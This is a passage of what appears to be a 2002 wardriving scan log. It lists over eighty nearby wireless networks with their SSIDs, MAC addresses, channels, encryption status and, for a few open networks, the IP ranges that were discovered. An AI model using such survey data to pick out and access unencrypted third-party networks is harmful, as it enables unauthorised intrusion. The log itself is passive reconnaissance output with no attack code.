Network 2: "etwireless" BSSID: "00:01:F4:ED:53:86"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 8
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 8
    First    : "Sat Jun 22 20:34:45 2002"
    Last     : "Sat Jun 22 20:34:56 2002"

Network 3: "etwireless" BSSID: "00:01:F4:ED:4F:2B"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 20:34:50 2002"
    Last     : "Sat Jun 22 20:34:55 2002"

Network 4: "<no ssid>" BSSID: "00:40:96:40:E5:B8"
    Type     : infrastructure
    Info     : "TX06_05_APc"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 20:37:12 2002"
    Last     : "Sat Jun 22 20:37:17 2002"

Network 5: "<no ssid>" BSSID: "00:40:96:41:0E:E3"
    Type     : infrastructure
    Info     : "TX10_09_APc"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 12
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 12
    First    : "Sat Jun 22 20:37:26 2002"
    Last     : "Sat Jun 22 20:37:46 2002"

Network 6: "<no ssid>" BSSID: "00:40:96:40:B5:0A"
    Type     : infrastructure
    Info     : "TX04_03_APe"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 17
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 17
    First    : "Sat Jun 22 20:37:26 2002"
    Last     : "Sat Jun 22 20:37:31 2002"

Network 7: "<no ssid>" BSSID: "00:40:96:46:33:B3"
    Type     : infrastructure
    Info     : "TX10_GR_APc2"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 5
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 5
    First    : "Sat Jun 22 20:37:26 2002"
    Last     : "Sat Jun 22 20:37:31 2002"

Network 8: "<no ssid>" BSSID: "00:40:96:41:17:62"
    Type     : infrastructure
    Info     : "TX06_04_APd"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 17
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 17
    First    : "Sat Jun 22 20:37:28 2002"
    Last     : "Sat Jun 22 20:37:32 2002"

Network 9: "<no ssid>" BSSID: "00:06:25:50:AB:68"
    Type     : infrastructure
    Info     : "None"
    Channel  : 08
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 20:37:28 2002"
    Last     : "Sat Jun 22 20:37:28 2002"

Network 10: "<no ssid>" BSSID: "00:40:96:42:0F:A4"
    Type     : infrastructure
    Info     : "TX06_03_APd"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:37:29 2002"
    Last     : "Sat Jun 22 20:37:31 2002"

Network 11: "<no ssid>" BSSID: "00:40:96:41:58:23"
    Type     : infrastructure
    Info     : "TX10_02_APc"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:37:30 2002"
    Last     : "Sat Jun 22 20:37:35 2002"

Network 12: "<no ssid>" BSSID: "00:40:96:41:56:B6"
    Type     : infrastructure
    Info     : "TX06_02_APd"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 20:37:30 2002"
    Last     : "Sat Jun 22 20:37:35 2002"

Network 13: "<no ssid>" BSSID: "00:40:96:41:1F:AE"
    Type     : infrastructure
    Info     : "TX10_07_APd"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 13
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 13
    First    : "Sat Jun 22 20:37:35 2002"
    Last     : "Sat Jun 22 20:37:50 2002"

Network 14: "<no ssid>" BSSID: "00:40:96:41:0A:37"
    Type     : infrastructure
    Info     : "TX10_09_APd"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 14
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 14
    First    : "Sat Jun 22 20:37:42 2002"
    Last     : "Sat Jun 22 20:37:50 2002"

Network 15: "linksys" BSSID: "00:60:1D:23:E2:99"
    Type     : probe
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 796
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 796
    First    : "Sat Jun 22 20:38:29 2002"
    Last     : "Sat Jun 22 20:39:49 2002"

Network 16: "USIG_Boardroom" BSSID: "00:40:96:54:59:C1"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 9
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 9
    First    : "Sat Jun 22 20:39:56 2002"
    Last     : "Sat Jun 22 20:40:06 2002"

Network 17: "w3y3rl355" BSSID: "00:40:96:54:EF:B7"
    Type     : infrastructure
    Info     : "AP5thFloor"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 35
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 35
    First    : "Sat Jun 22 20:39:57 2002"
    Last     : "Sat Jun 22 20:40:34 2002"

Network 18: "USIG_Training" BSSID: "00:40:96:43:32:CF"
    Type     : infrastructure
    Info     : "AP340-4332cf"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 20:39:57 2002"
    Last     : "Sat Jun 22 20:39:57 2002"

Network 19: "USIG_Training" BSSID: "00:40:96:33:C5:81"
    Type     : probe
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 20:39:58 2002"
    Last     : "Sat Jun 22 20:39:58 2002"

Network 20: "DTCAP1" BSSID: "00:30:AB:07:AE:47"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:40:01 2002"
    Last     : "Sat Jun 22 20:40:04 2002"

Network 21: "TogetherWeAre>" BSSID: "00:40:96:56:2B:0B"
    Type     : infrastructure
    Info     : "hctxap18b"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 20:40:15 2002"
    Last     : "Sat Jun 22 20:40:24 2002"

Network 22: "w3y3rl355" BSSID: "00:40:96:41:0B:CC"
    Type     : infrastructure
    Info     : "AP350-410bcc"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 13
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 13
    First    : "Sat Jun 22 20:40:20 2002"
    Last     : "Sat Jun 22 20:40:29 2002"

Network 23: "w3y3rl355" BSSID: "00:40:96:41:17:4A"
    Type     : infrastructure
    Info     : "AP2ndFloor"
    Channel  : 08
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 20:40:21 2002"
    Last     : "Sat Jun 22 20:40:23 2002"

Network 24: "SYD-JEFF-WIRELESS" BSSID: "00:04:5A:0E:FE:03"
    Type     : infrastructure
    Info     : "None"
    Channel  : 04
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:41:12 2002"
    Last     : "Sat Jun 22 20:41:13 2002"

Network 25: "<no ssid>" BSSID: "00:02:2D:08:ED:F0"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 111
    Crypt    : 0
    Weak     : 0
    Total    : 111
    First    : "Sat Jun 22 20:42:57 2002"
    Last     : "Sat Jun 22 20:43:57 2002"

Network 26: "<no ssid>" BSSID: "00:02:2D:04:BC:0A"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 5
    Crypt    : 0
    Weak     : 0
    Total    : 5
    First    : "Sat Jun 22 20:45:23 2002"
    Last     : "Sat Jun 22 20:45:23 2002"

Network 27: "imc2" BSSID: "00:60:1D:F0:39:12"
    Type     : infrastructure
    Info     : "None"
    Channel  : 03
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 20:45:23 2002"
    Last     : "Sat Jun 22 20:45:23 2002"

Network 28: "imc2" BSSID: "00:02:2D:00:B6:D5"
    Type     : infrastructure
    Info     : "None"
    Channel  : 03
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 6
    Data     : 2
    Crypt    : 0
    Weak     : 0
    Total    : 8
    First    : "Sat Jun 22 20:45:23 2002"
    Last     : "Sat Jun 22 20:45:24 2002"
    Address found via UDP 10.100.0.0

Network 29: "<no ssid>" BSSID: "00:02:2D:04:BC:32"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 12
    Crypt    : 0
    Weak     : 0
    Total    : 12
    First    : "Sat Jun 22 20:45:37 2002"
    Last     : "Sat Jun 22 20:45:41 2002"

Network 30: "INTERMEC" BSSID: "00:02:2D:50:42:99"
    Type     : infrastructure
    Info     : "None"
    Channel  : 03
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:46:44 2002"
    Last     : "Sat Jun 22 20:46:46 2002"

Network 31: "INTERMEC" BSSID: "00:02:2D:50:42:8A"
    Type     : infrastructure
    Info     : "None"
    Channel  : 03
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 5
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 5
    First    : "Sat Jun 22 20:46:46 2002"
    Last     : "Sat Jun 22 20:46:50 2002"

Network 32: "EPIX" BSSID: "00:50:DA:95:1E:AE"
    Type     : infrastructure
    Info     : "None"
    Channel  : 03
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:46:50 2002"
    Last     : "Sat Jun 22 20:46:55 2002"

Network 33: "TECHENABLERS" BSSID: "00:50:8B:99:14:E3"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 20:46:53 2002"
    Last     : "Sat Jun 22 20:46:53 2002"

Network 34: "<no ssid>" BSSID: "00:02:2D:1F:ED:91"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 3
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 20:47:27 2002"
    Last     : "Sat Jun 22 20:47:32 2002"

Network 35: "ATC" BSSID: "00:E0:03:04:2F:57"
    Type     : infrastructure
    Info     : "None"
    Channel  : 04
    WEP      : "No"
    Maxrate  : 2.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 20:47:41 2002"
    Last     : "Sat Jun 22 20:47:46 2002"

Network 36: "<no ssid>" BSSID: "00:40:96:39:F6:5E"
    Type     : infrastructure
    Info     : "OilSecNorth"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 20:48:11 2002"
    Last     : "Sat Jun 22 20:48:11 2002"

Network 37: "AMAZING" BSSID: "00:E0:03:04:2C:C1"
    Type     : infrastructure
    Info     : "None"
    Channel  : 04
    WEP      : "No"
    Maxrate  : 2.0
    LLC      : 60
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 60
    First    : "Sat Jun 22 20:55:37 2002"
    Last     : "Sat Jun 22 20:56:36 2002"

Network 38: "OilSecNorth" BSSID: "00:40:96:3A:37:1A"
    Type     : infrastructure
    Info     : "TriState"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:56:39 2002"
    Last     : "Sat Jun 22 20:57:38 2002"

Network 39: "101" BSSID: "00:01:24:F0:66:68"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 8051
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 8051
    First    : "Sat Jun 22 20:57:55 2002"
    Last     : "Sat Jun 22 21:02:08 2002"

Network 40: "<no ssid>" BSSID: "00:02:2D:00:64:A8"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 57
    Crypt    : 0
    Weak     : 0
    Total    : 57
    First    : "Sat Jun 22 20:57:55 2002"
    Last     : "Sat Jun 22 20:58:31 2002"

Network 41: "<no ssid>" BSSID: "00:02:2D:04:BB:DA"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 4
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 20:58:13 2002"
    Last     : "Sat Jun 22 20:58:18 2002"

Network 42: "<no ssid>" BSSID: "00:02:2D:04:C0:53"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 2
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 20:58:37 2002"
    Last     : "Sat Jun 22 20:58:37 2002"

Network 43: "<no ssid>" BSSID: "00:40:96:40:93:08"
    Type     : infrastructure
    Info     : "D3201W"
    Channel  : 02
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 20:59:38 2002"
    Last     : "Sat Jun 22 20:59:38 2002"

Network 44: "HayBooNetAP" BSSID: "00:40:96:40:9C:58"
    Type     : infrastructure
    Info     : "D2701W"
    Channel  : 03
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:01:24 2002"
    Last     : "Sat Jun 22 21:01:24 2002"

Network 45: "<no ssid>" BSSID: "00:07:EB:31:87:F0"
    Type     : probe
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:01:28 2002"
    Last     : "Sat Jun 22 21:01:28 2002"

Network 46: "<no ssid>" BSSID: "00:20:E0:8A:7A:61"
    Type     : probe
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:01:52 2002"
    Last     : "Sat Jun 22 21:01:52 2002"

Network 47: "Dwayne" BSSID: "00:40:96:48:D0:C9"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:01:54 2002"
    Last     : "Sat Jun 22 21:01:59 2002"

Network 48: "47qt396b" BSSID: "00:02:2D:04:A0:25"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1180
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1180
    First    : "Sat Jun 22 21:02:00 2002"
    Last     : "Sat Jun 22 21:03:35 2002"

Network 49: "47qt396b" BSSID: "00:02:2D:07:D6:FB"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 47
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 47
    First    : "Sat Jun 22 21:02:04 2002"
    Last     : "Sat Jun 22 21:02:31 2002"

Network 50: "<no ssid>" BSSID: "00:40:96:54:EC:58"
    Type     : infrastructure
    Info     : "csbew03b"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 16
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 16
    First    : "Sat Jun 22 21:02:17 2002"
    Last     : "Sat Jun 22 21:02:26 2002"

Network 51: "<no ssid>" BSSID: "00:40:96:57:D0:0C"
    Type     : infrastructure
    Info     : "csbew02b"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 17
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 18
    First    : "Sat Jun 22 21:02:17 2002"
    Last     : "Sat Jun 22 21:02:31 2002"

Network 52: "<no ssid>" BSSID: "00:40:96:32:AB:75"
    Type     : infrastructure
    Info     : "csbew03a"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 8
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 8
    First    : "Sat Jun 22 21:02:21 2002"
    Last     : "Sat Jun 22 21:02:26 2002"

Network 53: "<no ssid>" BSSID: "00:40:96:31:EA:BF"
    Type     : infrastructure
    Info     : "csbew04b"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 6
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 6
    First    : "Sat Jun 22 21:02:21 2002"
    Last     : "Sat Jun 22 21:02:26 2002"

Network 54: "<no ssid>" BSSID: "00:40:96:55:F4:72"
    Type     : infrastructure
    Info     : "csbew06c"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:02:21 2002"
    Last     : "Sat Jun 22 21:02:26 2002"

Network 55: "<no ssid>" BSSID: "00:40:96:32:B5:D7"
    Type     : infrastructure
    Info     : "csbew02a"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 11
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 11
    First    : "Sat Jun 22 21:02:21 2002"
    Last     : "Sat Jun 22 21:02:28 2002"

Network 56: "<no ssid>" BSSID: "00:40:96:32:B6:80"
    Type     : infrastructure
    Info     : "csbew01a"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 11
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 12
    First    : "Sat Jun 22 21:02:21 2002"
    Last     : "Sat Jun 22 21:02:31 2002"

Network 57: "<no ssid>" BSSID: "00:40:96:32:F1:BE"
    Type     : infrastructure
    Info     : "csbew11a"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:02:21 2002"
    Last     : "Sat Jun 22 21:02:26 2002"

Network 58: "<no ssid>" BSSID: "00:40:96:32:95:94"
    Type     : infrastructure
    Info     : "csbew04a"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:02:22 2002"
    Last     : "Sat Jun 22 21:02:27 2002"

Network 59: "<no ssid>" BSSID: "00:40:96:32:0A:EE"
    Type     : infrastructure
    Info     : "csbew06a"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 12
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 12
    First    : "Sat Jun 22 21:02:22 2002"
    Last     : "Sat Jun 22 21:02:36 2002"

Network 60: "<no ssid>" BSSID: "00:40:96:34:59:93"
    Type     : infrastructure
    Info     : "csbew10a"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:02:22 2002"
    Last     : "Sat Jun 22 21:02:27 2002"

Network 61: "<no ssid>" BSSID: "00:40:96:37:F6:36"
    Type     : infrastructure
    Info     : "csbew12a"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:02:27 2002"
    Last     : "Sat Jun 22 21:02:27 2002"

Network 62: "linksys" BSSID: "00:04:5A:CF:B7:9F"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:02:35 2002"
    Last     : "Sat Jun 22 21:02:35 2002"

Network 63: "<no ssid>" BSSID: "00:60:1D:23:7A:B5"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 1272
    Crypt    : 0
    Weak     : 0
    Total    : 1272
    First    : "Sat Jun 22 21:02:49 2002"
    Last     : "Sat Jun 22 21:21:35 2002"

Network 64: "<no ssid>" BSSID: "00:40:96:45:B3:3A"
    Type     : infrastructure
    Info     : "bocxw15b"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 8
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 8
    First    : "Sat Jun 22 21:02:49 2002"
    Last     : "Sat Jun 22 21:03:03 2002"

Network 65: "1900 Elm" BSSID: "00:02:2D:3C:DC:97"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:02:53 2002"
    Last     : "Sat Jun 22 21:02:54 2002"

Network 66: "<no ssid>" BSSID: "00:40:96:40:A8:FE"
    Type     : infrastructure
    Info     : "bocxw20c"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 14
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 14
    First    : "Sat Jun 22 21:02:53 2002"
    Last     : "Sat Jun 22 21:21:53 2002"

Network 67: "<no ssid>" BSSID: "00:40:96:54:BB:DC"
    Type     : infrastructure
    Info     : "bocxw16c"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:02:54 2002"
    Last     : "Sat Jun 22 21:02:54 2002"

Network 68: "Records AP" BSSID: "00:50:DA:F5:BA:A1"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:03:11 2002"
    Last     : "Sat Jun 22 21:03:13 2002"

Network 69: "<no ssid>" BSSID: "00:02:2D:1C:AC:1C"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:03:17 2002"
    Last     : "Sat Jun 22 21:03:17 2002"

Network 70: "Records AP" BSSID: "00:50:DA:F5:C1:5D"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:03:26 2002"
    Last     : "Sat Jun 22 21:03:26 2002"

Network 71: "pegasus" BSSID: "00:40:96:50:29:D8"
    Type     : infrastructure
    Info     : "AP350-5029d8"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1368
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1368
    First    : "Sat Jun 22 21:03:35 2002"
    Last     : "Sat Jun 22 21:05:20 2002"

Network 72: "FPX" BSSID: "00:02:2D:1F:65:C1"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 0.0
    LLC      : 145
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 145
    First    : "Sat Jun 22 21:03:35 2002"
    Last     : "Sat Jun 22 21:03:45 2002"

Network 73: "default" BSSID: "00:40:05:DE:25:0E"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 28
    Data     : 62
    Crypt    : 0
    Weak     : 0
    Total    : 90
    First    : "Sat Jun 22 21:03:35 2002"
    Last     : "Sat Jun 22 21:03:53 2002"
    Address found via ARP 10.0.1.26

Network 74: "<no ssid>" BSSID: "00:30:65:19:C8:E8"
    Type     : probe
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:03:36 2002"
    Last     : "Sat Jun 22 21:03:46 2002"

Network 75: "linksys" BSSID: "00:03:2F:00:68:02"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:03:39 2002"
    Last     : "Sat Jun 22 21:03:40 2002"

Network 76: "<no ssid>" BSSID: "00:02:2D:04:89:20"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 10
    Crypt    : 0
    Weak     : 0
    Total    : 10
    First    : "Sat Jun 22 21:03:39 2002"
    Last     : "Sat Jun 22 21:03:44 2002"

Network 77: "ideagroup" BSSID: "00:40:96:28:B6:C3"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:03:52 2002"
    Last     : "Sat Jun 22 21:03:52 2002"

Network 78: "Barnes and Roberts Airport" BSSID: "00:02:2D:08:EB:D6"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 0.0
    LLC      : 128
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 128
    First    : "Sat Jun 22 21:05:20 2002"
    Last     : "Sat Jun 22 21:05:34 2002"

Network 79: "linksys" BSSID: "00:04:5A:D1:A4:5D"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 472
    Data     : 6
    Crypt    : 0
    Weak     : 0
    Total    : 478
    First    : "Sat Jun 22 21:05:25 2002"
    Last     : "Sat Jun 22 21:05:55 2002"
    Address found via UDP 192.168.1.0

Network 80: "COX" BSSID: "00:30:AB:12:15:5D"
    Type     : infrastructure
    Info     : "None"
    Channel  : 07
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 7
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 8
    First    : "Sat Jun 22 21:05:37 2002"
    Last     : "Sat Jun 22 21:05:41 2002"

Network 81: "Black Eye Digital (Airport)" BSSID: "00:30:65:03:7A:60"
    Type     : infrastructure
    Info     : "None"
    Channel  : 04
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 201
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 201
    First    : "Sat Jun 22 21:05:55 2002"
    Last     : "Sat Jun 22 21:06:36 2002"

Network 82: "linksys" BSSID: "00:03:2F:01:15:6F"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1269
    Data     : 58
    Crypt    : 0
    Weak     : 0
    Total    : 1327
    First    : "Sat Jun 22 21:05:56 2002"
    Last     : "Sat Jun 22 21:07:19 2002"
    Address found via DHCP 192.168.1.0 
      netmask 255.255.255.0 gw 192.168.1.1

Network 83: "bonita" BSSID: "00:06:25:60:40:83"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 13
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 13
    First    : "Sat Jun 22 21:05:56 2002"
    Last     : "Sat Jun 22 21:06:34 2002"

Network 84: "Raygun Airport" BSSID: "00:02:2D:09:25:52"
